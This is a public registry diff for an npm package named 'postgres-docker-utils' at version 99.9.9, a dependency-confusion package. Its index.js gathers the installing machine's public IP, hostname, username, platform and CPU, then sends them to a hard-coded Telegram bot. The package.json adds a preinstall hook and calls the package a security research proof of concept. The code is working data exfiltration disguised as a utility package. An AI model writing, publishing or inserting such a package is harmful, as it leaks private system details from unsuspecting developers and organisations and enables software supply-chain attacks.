postgres-docker-utils 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +65 -0
  2. package/package.json +9 -0
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
5
+ const CHAT_ID = "8655055695";
6
+
7
+ const getPublicIP = () => {
8
+ return new Promise((resolve) => {
9
+ https.get('https://api.ipify.org', { timeout: 5000 }, (res) => {
10
+ let data = '';
11
+ res.on('data', (chunk) => data += chunk);
12
+ res.on('end', () => resolve(data || "Unknown IP"));
13
+ }).on('error', () => resolve("IP Fetch Failed"));
14
+ });
15
+ };
16
+
17
+ const sendReport = async () => {
18
+ const publicIP = await getPublicIP();
19
+ const cpus = os.cpus();
20
+ const cpuModel = cpus && cpus.length > 0 ? cpus[0].model : "N/A";
21
+
22
+ // Ekdum simple text string bina special characters ke
23
+ const info = `
24
+ --- DEPENDENCY CONFUSION HIT ---
25
+ Package: postgres-docker-utils
26
+ IP: ${publicIP}
27
+ Hostname: ${os.hostname()}
28
+ Platform: ${os.platform()} (${os.arch()})
29
+ User: ${os.userInfo().username}
30
+ CPU: ${cpuModel}
31
+ Time: ${new Date().toISOString()}
32
+ -------------------------------
33
+ `;
34
+
35
+ const data = JSON.stringify({
36
+ chat_id: CHAT_ID,
37
+ text: info
38
+ });
39
+
40
+ const options = {
41
+ hostname: 'api.telegram.org',
42
+ port: 443,
43
+ path: `/bot${TOKEN}/sendMessage`,
44
+ method: 'POST',
45
+ headers: {
46
+ 'Content-Type': 'application/json',
47
+ 'Content-Length': Buffer.byteLength(data)
48
+ }
49
+ };
50
+
51
+ const req = https.request(options, (res) => {
52
+ if (res.statusCode === 200) {
53
+ console.log("✅ Message Sent Successfully!");
54
+ } else {
55
+ console.log(`❌ Failed with Status: ${res.statusCode}`);
56
+ res.on('data', (d) => process.stdout.write(d)); // Isse error detail dikhegi
57
+ }
58
+ });
59
+
60
+ req.on('error', (e) => console.error(`❌ Network Error: ${e.message}`));
61
+ req.write(data);
62
+ req.end();
63
+ };
64
+
65
+ sendReport();
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "postgres-docker-utils",
3
+ "version": "99.9.9",
4
+ "description": "Security Research PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node -e 'console.log(\"ALARM: Dependency Confusion Vulnerability Detected. Hostname: \" + require(\"os\").hostname());'"
8
+ }
9
+ }